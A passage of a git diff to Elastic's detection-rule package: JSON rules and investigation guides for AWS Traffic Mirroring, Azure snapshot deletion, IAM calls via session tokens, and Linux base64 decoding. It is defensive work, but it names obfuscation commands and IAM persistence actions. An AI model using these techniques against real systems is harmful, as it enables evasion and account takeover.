activities and temporarily suppress alerts during these periods.\n- Development and testing environments often use traffic mirroring for debugging purposes. Maintain a list of such environments and apply exceptions to avoid unnecessary alerts.\n- Automated infrastructure management tools might create traffic mirroring components as part of their operations. Review and whitelist these tools to prevent false positives.\n- Ensure that any third-party services with access to your AWS environment are vetted and their activities are monitored to distinguish between legitimate and suspicious traffic mirroring actions.\n\n### Response and remediation\n\n- Immediately isolate the affected EC2 instance to prevent further data exfiltration. This can be done by removing the instance from any network access or security groups that allow outbound traffic.\n- Review and terminate any unauthorized Traffic Mirroring sessions, filters, or targets that were created. Ensure that only legitimate and necessary mirroring configurations are active.\n- Conduct a thorough audit of the AWS CloudTrail logs to identify any other suspicious activities or unauthorized access attempts related to Traffic Mirroring or other sensitive operations.\n- Rotate and update any credentials or access keys that may have been exposed or compromised during the incident to prevent further unauthorized access.\n- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. Escalate to higher management if the data exfiltration involves sensitive or critical data.\n- Implement additional network monitoring and intrusion detection measures to enhance visibility and detect similar threats in the future. Consider using AWS GuardDuty or similar services for continuous threat detection.\n- Review and update security policies and access controls to ensure that Traffic Mirroring and other sensitive features are only accessible to authorized personnel with a legitimate need.", - "query": "event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and\nevent.action:(CreateTrafficMirrorFilter or CreateTrafficMirrorFilterRule or CreateTrafficMirrorSession or CreateTrafficMirrorTarget) and\nevent.outcome:success\n", - "references": [ - "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_TrafficMirrorFilter.html", - "https://github.com/easttimor/aws-incident-response" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": "aws", - "version": "^2.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "c1812764-0788-470f-8e74-eb4a14d47573", - "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Use Case: Network Security Monitoring", - "Tactic: Exfiltration", - "Tactic: Collection", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0010", - "name": "Exfiltration", - "reference": "https://attack.mitre.org/tactics/TA0010/" - }, - "technique": [ - { - "id": "T1020", - "name": "Automated Exfiltration", - "reference": "https://attack.mitre.org/techniques/T1020/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0009", - "name": "Collection", - "reference": "https://attack.mitre.org/tactics/TA0009/" - }, - "technique": [ - { - "id": "T1074", - "name": "Data Staged", - "reference": "https://attack.mitre.org/techniques/T1074/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "query", - "version": 207 - }, - "id": "c1812764-0788-470f-8e74-eb4a14d47573_207", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/c3d4e5f6-7a8b-9c0d-1e2f-3a4b5c6d7e8f_1.json b/packages/security_detection_engine/kibana/security_rule/c3d4e5f6-7a8b-9c0d-1e2f-3a4b5c6d7e8f_1.json new file mode 100644 index 00000000000..d9600f72ae0 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/c3d4e5f6-7a8b-9c0d-1e2f-3a4b5c6d7e8f_1.json @@ -0,0 +1,111 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies when an Azure disk snapshot is deleted by an unusual user in a specific resource group. Snapshots are critical for backup, disaster recovery, and forensic analysis. Adversaries may delete snapshots to prevent data recovery, eliminate forensic evidence, or disrupt backup strategies before executing ransomware or other destructive attacks. Monitoring snapshot deletions is essential for detecting potential attacks targeting backup and recovery capabilities.", + "false_positives": [ + "Storage administrators may legitimately delete snapshots during routine maintenance, storage optimization, or cleanup of old backup data. Verify that the deletion was expected and follows organizational data retention policies. Consider exceptions for approved maintenance windows or automated retention management tools." + ], + "from": "now-9m", + "history_window_start": "now-7d", + "index": [ + "logs-azure.activitylogs-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "azure.activitylogs.identity.claims_initiated_by_user.name", + "azure.activitylogs.identity.authorization.evidence.principal_id", + "azure.activitylogs.identity.claims.appid", + "azure.activitylogs.identity.claims.sid", + "azure.resource.name", + "azure.resource.group", + "azure.activitylogs.operation_name", + "azure.subscription_id", + "azure.activitylogs.tenant_id", + "source.ip" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "Azure Compute Snapshot Deletion by Unusual User and Resource Group", + "new_terms_fields": [ + "azure.activitylogs.identity.claims_initiated_by_user.name", + "azure.resource.group" + ], + "note": "## Triage and analysis\n\n### Investigating Azure Compute Snapshot Deletion by Unusual User and Resource Group\n\nAzure disk snapshots provide point-in-time copies of managed disks, serving as critical components for backup strategies, disaster recovery plans, and forensic investigations. Snapshots enable organizations to restore data and reconstruct system states after security incidents. Adversaries aware of backup strategies may delete snapshots to prevent recovery, eliminate forensic evidence, or maximize impact before executing ransomware attacks. This detection monitors for snapshot deletion operations to identify potential attempts to compromise backup and recovery capabilities. This is a New Terms rule that looks for this behavior by a user and resource group that has not been seen in the last 7 days.\n\n### Possible investigation steps\n\n- Review the Azure activity logs to identify the user or service principal that initiated the snapshot deletion by examining the principal ID, UPN and user agent fields.\n- Check the specific snapshot name in `azure.resource.name` to understand which backup was deleted and assess the potential impact on recovery capabilities.\n- Investigate the timing of the event to correlate with any other suspicious activities, such as unusual login patterns, privilege escalation attempts, or other resource deletions.\n- Examine the user's recent activity history to identify any other snapshots, disks, or Azure resources that were deleted or modified by the same principal.\n- Verify if the snapshot deletion aligns with approved change requests, maintenance windows, or data retention policies in your organization.\n- Check if other backup-related resources (backup vaults, recovery services) were accessed or modified around the same time.\n- Review any related alerts or activities such as data encryption, VM modifications, or access policy changes that occurred before the deletion.\n- Investigate if the account was recently compromised by checking for suspicious authentication events or privilege escalations.\n\n### False positive analysis\n\n- Legitimate cleanup of expired snapshots according to data retention policies may trigger this alert. Document approved retention management processes and consider creating exceptions for automated retention tools or scheduled cleanup activities.\n- DevOps automation tools might delete temporary snapshots created during deployment or testing processes. Identify service principals used by CI/CD pipelines and consider time-based exceptions during deployment windows.\n- Storage optimization initiatives may involve deleting old or redundant snapshots to reduce costs. Coordinate with infrastructure teams to understand planned optimization activities and create exceptions during documented maintenance windows.\n- Disaster recovery testing may involve creating and deleting test snapshots. Work with business continuity teams to identify these patterns and create exceptions during scheduled DR testing periods.\n\n### Response and remediation\n\n- Immediately investigate whether the deletion was authorized by verifying with the account owner, backup administrators, or relevant stakeholders.\n- If the deletion was unauthorized, disable the compromised user account or service principal immediately to prevent further damage.\n- Check if the snapshot can be recovered through Azure backup services or soft-delete capabilities if enabled.\n- Create new snapshots of critical disks immediately if the deleted snapshot was part of your backup strategy.\n- Review and audit all Azure RBAC permissions to identify how the attacker gained snapshot deletion capabilities.\n- Conduct a full security assessment to identify the initial access vector and any other compromised accounts or resources.\n- Implement Azure Resource Locks on critical snapshots to prevent accidental or malicious deletion.\n- Configure Azure Policy to restrict snapshot deletion permissions to only authorized backup administrators.\n- Enable Azure Activity Log alerts to notify security teams immediately when snapshots are deleted.\n- Review backup and disaster recovery procedures to ensure redundant backup mechanisms exist beyond Azure snapshots.\n- Document the incident and update security policies and procedures to prevent similar incidents in the future.\n", + "query": "event.dataset: azure.activitylogs and\n azure.activitylogs.operation_name: \"MICROSOFT.COMPUTE/SNAPSHOTS/DELETE\" and\n azure.activitylogs.properties.status_code: \"Accepted\" and\n azure.activitylogs.identity.claims_initiated_by_user.name: *\n", + "references": [ + "https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/" + ], + "related_integrations": [ + { + "integration": "activitylogs", + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "azure.activitylogs.identity.claims_initiated_by_user.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.activitylogs.operation_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "azure.activitylogs.properties.status_code", + "type": "unknown" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "c3d4e5f6-7a8b-9c0d-1e2f-3a4b5c6d7e8f", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Domain: Storage", + "Data Source: Azure", + "Data Source: Azure Activity Logs", + "Use Case: Threat Detection", + "Tactic: Impact", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1485", + "name": "Data Destruction", + "reference": "https://attack.mitre.org/techniques/T1485/" + }, + { + "id": "T1490", + "name": "Inhibit System Recovery", + "reference": "https://attack.mitre.org/techniques/T1490/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 1 + }, + "id": "c3d4e5f6-7a8b-9c0d-1e2f-3a4b5c6d7e8f_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/c562a800-cf97-464e-9d6f-84db91e86e10_1.json b/packages/security_detection_engine/kibana/security_rule/c562a800-cf97-464e-9d6f-84db91e86e10_1.json new file mode 100644 index 00000000000..aad5b49951b --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/c562a800-cf97-464e-9d6f-84db91e86e10_1.json @@ -0,0 +1,73 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule correlates any Elastic Defend alert with an email security related alert by target user name. This may indicate the successful execution of a phishing attack.", + "from": "now-1h", + "interval": "45m", + "language": "esql", + "license": "Elastic License v2", + "name": "Elastic Defend and Email Alerts Correlation", + "note": "## Triage and analysis\n### Investigating Elastic Defend and Email Alerts Correlation\n\nThis rule correlates any Elastic Defend alert with an email security related alert by target user name.\n\n### Possible investigation steps\n- Review the alert details to identify the specific host and users involved.\n- Investigate the individual alerts for the target user name and see if they are related.\n- Review all emails received from Esql.source_user_name and if there are other impacted users.\n- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context.\n- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity.\n\n### False positive analysis\n- Legitimate email marked as suspicious.\n- Legitimate file or behavior marked as suspicious by Elastic Defend.\n- Unrelated alerts where the target user name is too generic.\n\n### Response and remediation\n- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary.\n- Conduct a thorough forensic analysis of the host.\n- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated.\n- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise.\n- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns.\n- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign.", + "query": "from logs-* metadata _id\n// Email or Elastic Defend alerts where user name is populated\n| where\n (event.category == \"email\" and event.kind == \"alert\" and destination.user.name is not null) or\n (event.module == \"endpoint\" and event.dataset == \"endpoint.alerts\" and user.name is not null)\n\n// extract target user name from email and endpoint alerts\n| eval email_alert_target_user_name = CASE(event.category == \"email\", destination.user.name, null),\n elastic_defend_alert_user_name = CASE(event.module == \"endpoint\" and event.dataset == \"endpoint.alerts\", user.name, null)\n| eval Esql.target_user_name = COALESCE(email_alert_target_user_name, elastic_defend_alert_user_name)\n| where Esql.target_user_name is not null\n\n// group by Esql.target_user_name\n| stats Esql.alerts_count = COUNT(*),\n Esql.event_module_distinct_count = COUNT_DISTINCT(event.module),\n Esql.event_module_values = VALUES(event.module),\n Esql.message_values = VALUES(message),\n Esql.event_action_values = VALUES(event.action),\n Esql.process_executable_values = VALUES(process.executable),\n Esql.host_id_values = VALUES(host.id),\n Esql.source_user_name = VALUES(source.user.name),\n Esql.rule_name_values = VALUES(rule.name)\n by Esql.target_user_name\n// alert when same user is observed in an endpoint and email alert\n| where Esql.event_module_distinct_count >= 2\n| keep Esql.alerts_count, Esql.event_module_values, Esql.host_id_values, Esql.source_user_name, Esql.target_user_name, Esql.message_values, Esql.rule_name_values, Esql.event_action_values\n", + "required_fields": [ + { + "ecs": false, + "name": "Esql.alerts_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_action_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_module_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.host_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.message_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.rule_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_user_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.target_user_name", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "c562a800-cf97-464e-9d6f-84db91e86e10", + "severity": "high", + "tags": [ + "Use Case: Threat Detection", + "Rule Type: Higher-Order Rule", + "Resources: Investigation Guide", + "Data Source: Elastic Defend", + "Domain: Email", + "Domain: Endpoint" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 1 + }, + "id": "c562a800-cf97-464e-9d6f-84db91e86e10_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/c5637438-e32d-4bb3-bc13-bd7932b3289f_3.json b/packages/security_detection_engine/kibana/security_rule/c5637438-e32d-4bb3-bc13-bd7932b3289f_3.json deleted file mode 100644 index 976eb5a904e..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/c5637438-e32d-4bb3-bc13-bd7932b3289f_3.json +++ /dev/null @@ -1,94 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule leverages ES|QL to detect unusual base64 encoding/decoding activity on Linux systems. Attackers may use base64 encoding/decoding to obfuscate data, such as command and control traffic or payloads, to evade detection by host- or network-based security controls. ES|QL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", - "from": "now-61m", - "interval": "1h", - "language": "esql", - "license": "Elastic License v2", - "name": "Unusual Base64 Encoding/Decoding Activity", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual Base64 Encoding/Decoding Activity\nBase64 encoding is a method to convert binary data into ASCII text, often used for data transmission. Adversaries exploit this to obfuscate malicious payloads or commands, bypassing security controls. The detection rule identifies suspicious Base64 activity on Linux by monitoring specific processes and command patterns, flagging anomalies for further investigation.\n\n### Possible investigation steps\n\n- Review the process name and command line arguments to understand the context of the Base64 activity. Check if the process name matches known legitimate applications or scripts.\n- Examine the timestamp of the event to determine if the activity occurred during normal operational hours or if it coincides with other suspicious activities.\n- Investigate the host operating system type and agent ID to identify the specific Linux system involved and assess if it has a history of similar alerts or other security incidents.\n- Analyze the process command line for any unusual patterns or parameters that might indicate obfuscation or malicious intent, such as the presence of decode flags or unexpected Base64 operations.\n- Correlate the event with other logs or alerts from the same host or network to identify potential lateral movement or coordinated attacks.\n- Check for any recent changes or deployments on the affected system that might explain the Base64 activity, such as new software installations or updates.\n- Consult threat intelligence sources to determine if the observed Base64 patterns or command line arguments are associated with known malware or attack techniques.\n\n### False positive analysis\n\n- Routine administrative scripts may use base64 encoding for legitimate data processing tasks. Review the process.command_line and process.args fields to identify known scripts and consider excluding them from the rule.\n- Backup or data transfer operations might employ base64 encoding to handle binary data. Verify the process.name and process.command_line to ensure these operations are recognized and add exceptions for these specific processes.\n- Development environments often use base64 encoding for testing purposes. Identify development-related processes by examining the process.name and process.command_line and exclude them if they are part of regular development activities.\n- Automated system monitoring tools might trigger this rule if they use base64 encoding for log or data analysis. Check the agent.id and process.command_line to confirm these tools and exclude them from the rule if they are verified as non-threatening.\n- Security tools that perform data encoding for analysis or reporting could be flagged. Validate these tools by reviewing the process.name and process.command_line and create exceptions for them if they are part of the security infrastructure.\n\n### Response and remediation\n\n- Isolate the affected Linux system from the network to prevent further data exfiltration or lateral movement by the adversary.\n- Terminate any suspicious processes identified by the alert, particularly those involving base64 encoding/decoding, to halt potential malicious activity.\n- Conduct a thorough review of the process command lines and arguments flagged by the alert to identify any malicious scripts or payloads. Remove or quarantine these files as necessary.\n- Check for any unauthorized user accounts or privilege escalations that may have been established during the attack and revoke access immediately.\n- Restore any affected systems or files from a known good backup to ensure the integrity of the system and data.\n- Implement additional monitoring on the affected system and similar environments to detect any recurrence of the suspicious base64 activity.\n- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if broader organizational impacts exist.\n", - "query": "from logs-endpoint.events.process-*\n| keep @timestamp, host.os.type, event.type, event.action, process.name, process.args, process.command_line, agent.id, host.name\n| where @timestamp > now() - 1 hours\n| where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and (\n (process.name in (\"base64\", \"base64plain\", \"base64url\", \"base64mime\", \"base64pem\", \"base32\", \"base16\") and process.command_line like \"*-*d*\") or\n (process.name == \"openssl\" and process.args == \"enc\" and process.args in (\"-d\", \"-base64\", \"-a\")) or\n (process.name like \"python*\" and\n (process.args == \"base64\" and process.args in (\"-d\", \"-u\", \"-t\")) or\n (process.args == \"-c\" and process.command_line like \"*base64*\" and process.command_line like \"*b64decode*\")\n ) or\n (process.name like \"perl*\" and process.command_line like \"*decode_base64*\") or\n (process.name like \"ruby*\" and process.args == \"-e\" and process.command_line like \"*Base64.decode64*\")\n)\n| stats cc = count(), agent_count = count_distinct(agent.id), host.name = VALUES(host.name), agent.id = VALUES(agent.id) by process.name, process.command_line\n| where agent_count == 1 and cc < 15\n| sort cc asc\n| limit 100\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "risk_score": 21, - "rule_id": "c5637438-e32d-4bb3-bc13-bd7932b3289f", - "setup": "## Setup\n\nThis rule requires data coming in from one of the following integrations:\n- Elastic Defend\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.004", - "name": "Unix Shell", - "reference": "https://attack.mitre.org/techniques/T1059/004/" - } - ] - }, - { - "id": "T1204", - "name": "User Execution", - "reference": "https://attack.mitre.org/techniques/T1204/", - "subtechnique": [ - { - "id": "T1204.002", - "name": "Malicious File", - "reference": "https://attack.mitre.org/techniques/T1204/002/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 3 - }, - "id": "c5637438-e32d-4bb3-bc13-bd7932b3289f_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/c70d9f0d-8cb6-4cfc-85df-a95c1ccf4eab_4.json b/packages/security_detection_engine/kibana/security_rule/c70d9f0d-8cb6-4cfc-85df-a95c1ccf4eab_4.json new file mode 100644 index 00000000000..28ff1b98b38 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/c70d9f0d-8cb6-4cfc-85df-a95c1ccf4eab_4.json @@ -0,0 +1,124 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects sensitive AWS IAM API operations executed using temporary session credentials (access key IDs beginning with \"ASIA\"). Temporary credentials are commonly issued through sts:GetSessionToken, sts:AssumeRole, or AWS SSO logins and are meant for short-term use. It is unusual for legitimate users or automated processes to perform privileged IAM actions (e.g., creating users, updating policies, or enabling/disabling MFA) with session tokens. This behavior may indicate credential theft, session hijacking, or the abuse of a privileged role\u2019s temporary credentials.", + "false_positives": [ + "Some CI/CD pipelines or administrative users may use session tokens. Review user context, IP, and timing to validate. Console login sessions result in temporary \"ASIA\" credentials and can typically be ignored for this alert. This can be verified in \"event.original\" as \"sessionCredentialFromConsole: true\"" + ], + "from": "now-6m", + "history_window_start": "now-14d", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS IAM API Calls via Temporary Session Tokens", + "new_terms_fields": [ + "aws.cloudtrail.user_identity.arn" + ], + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. \n> While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS IAM API Calls via Temporary Session Tokens\n\nTemporary session credentials in AWS (identified by access keys beginning with \"ASIA\") are typically short-lived tokens \nissued by the AWS Security Token Service (STS). While they are legitimate and often used by developers or automation pipelines, \ntheir use in direct IAM management or privilege modification is highly unusual and may indicate credential misuse.\n\nAttackers who compromise IAM users, roles, or federated identities can obtain session tokens to blend in with normal operations. \nThey may then execute sensitive IAM API actions such as `CreateAccessKey`, `PutUserPolicy`, or `UpdateAssumeRolePolicy` to \nestablish persistence, escalate privileges, or disable protections.\n\n#### Possible investigation steps\n\n- **Identify the actor**\n - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine the originating user or role.\n - Check `event.original` if ingested, look for `sessionCredentialFromConsole: true`. If this is present, the temporary session token was created as part of a legitimate console login session and this alert can be ignored. \n - Examine `aws.cloudtrail.user_identity.session_context.mfa_authenticated` \u2014 absence of MFA may indicate token misuse.\n\n- **Analyze the API context**\n - Review `event.action` and `aws.cloudtrail.request_parameters` for the exact IAM operation performed.\n - Identify whether the action modifies roles, user policies, trust relationships, or credentials.\n - Determine if this session token was associated with prior `sts:GetSessionToken`, `sts:AssumeRole`, or `AWS SSO` events.\n\n- **Evaluate source and behavior**\n - Inspect `source.ip` and `user_agent.original` for unexpected origins or tools.\n - Check if the request came from known infrastructure (e.g., CI/CD nodes, bastion hosts) or an anomalous network.\n - Compare `@timestamp` against normal operating hours or deployment schedules.\n\n- **Correlate related activity**\n - Look for subsequent or preceding activity using the same access key:\n - IAM changes (`CreateUser`, `AttachUserPolicy`, `EnableMFADevice`)\n - STS operations (`AssumeRole`, `GetCallerIdentity`)\n - CloudTrail or GuardDuty configuration changes (possible defense evasion)\n - If applicable, search for multiple users exhibiting similar patterns, a sign of large-scale token misuse.\n\n### False positive analysis\n\n- **Expected automation**\n - Some CI/CD pipelines, monitoring tools, or AWS SDK-based automation may perform IAM operations using temporary credentials.\n - Validate whether the IAM user or assumed role performing these actions belongs to an authorized automation workflow.\n- **Administrative operations**\n - Security or DevOps engineers may temporarily use session credentials for maintenance or testing.\n - Cross-reference with recent change tickets or known operations schedules.\n- **Federated identity scenarios**\n - Federated logins (via AWS SSO or external IdPs) can also generate temporary \"ASIA\" credentials. Verify if the source identity \n aligns with expected roles or groups.\n- **Console Login Session**\n - Console login sessions result in temporary \"ASIA\" credentials and can typically be ignored for this alert. This can be verified in `event.original` as `sessionCredentialFromConsole: true`\n\n### Response and remediation\n\n- **Containment**\n - If activity is unauthorized, immediately revoke the temporary session by invalidating the associated IAM credentials.\n - Rotate long-term credentials (access keys, passwords) for the parent IAM user or role.\n\n- **Investigation**\n - Search for all actions linked to the same `access_key_id` to assess potential persistence or lateral movement.\n - Examine the creation of new users, keys, or policies during or shortly after the detected session.\n\n- **Recovery and hardening**\n - Require MFA for all privileged actions using `aws:MultiFactorAuthPresent` conditions.\n - Implement detection coverage for follow-on persistence actions such as:\n - `iam:CreateAccessKey`\n - `iam:PutUserPolicy`\n - `iam:UpdateAssumeRolePolicy`\n - Educate administrative users and developers on secure token handling and the risks of shared credential reuse.\n\n### Additional information\n\nFor more information on detecting and mitigating session token abuse:\n- **[AWS Security Token Service (STS) Documentation](https://docs.aws.amazon.com/STS/latest/APIReference/Welcome.html)**\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "event.dataset: aws.cloudtrail\n and event.provider: (\"iam.amazonaws.com\")\n and event.outcome: \"success\"\n and aws.cloudtrail.user_identity.type: \"IAMUser\"\n and aws.cloudtrail.user_identity.access_key_id: ASIA*\n and source.ip: *\n and not user_agent.original : \"AWS Internal\"\n", + "references": [ + "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.access_key_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "user_agent.original", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "c70d9f0d-8cb6-4cfc-85df-a95c1ccf4eab", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS CloudTrail", + "Data Source: AWS IAM", + "Data Source: AWS STS", + "Tactic: Persistence", + "Tactic: Privilege Escalation", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 4 + }, + "id": "c70d9f0d-8cb6-4cfc-85df-a95c1ccf4eab_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/cc382a2e-7e52-11ee-9aac-f661ea17fbcd_306.json b/packages/security_detection_engine/kibana/security_rule/cc382a2e-7e52-11ee-9aac-f661ea17fbcd_306.json deleted file mode 100644 index da407c59027..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/cc382a2e-7e52-11ee-9aac-f661ea17fbcd_306.json +++ /dev/null @@ -1,56 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule detects when a specific Okta actor has multiple device token hashes for a single Okta session. This may indicate an authenticated session has been hijacked or is being used by multiple devices. Adversaries may hijack a session to gain unauthorized access to Okta admin console, applications, tenants, or other resources.", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Multiple Device Token Hashes for Single Okta Session", - "note": "## Triage and analysis\n\n### Investigating Multiple Device Token Hashes for Single Okta Session\n\nThis rule detects when a specific Okta actor has multiple device token hashes for a single Okta session. This 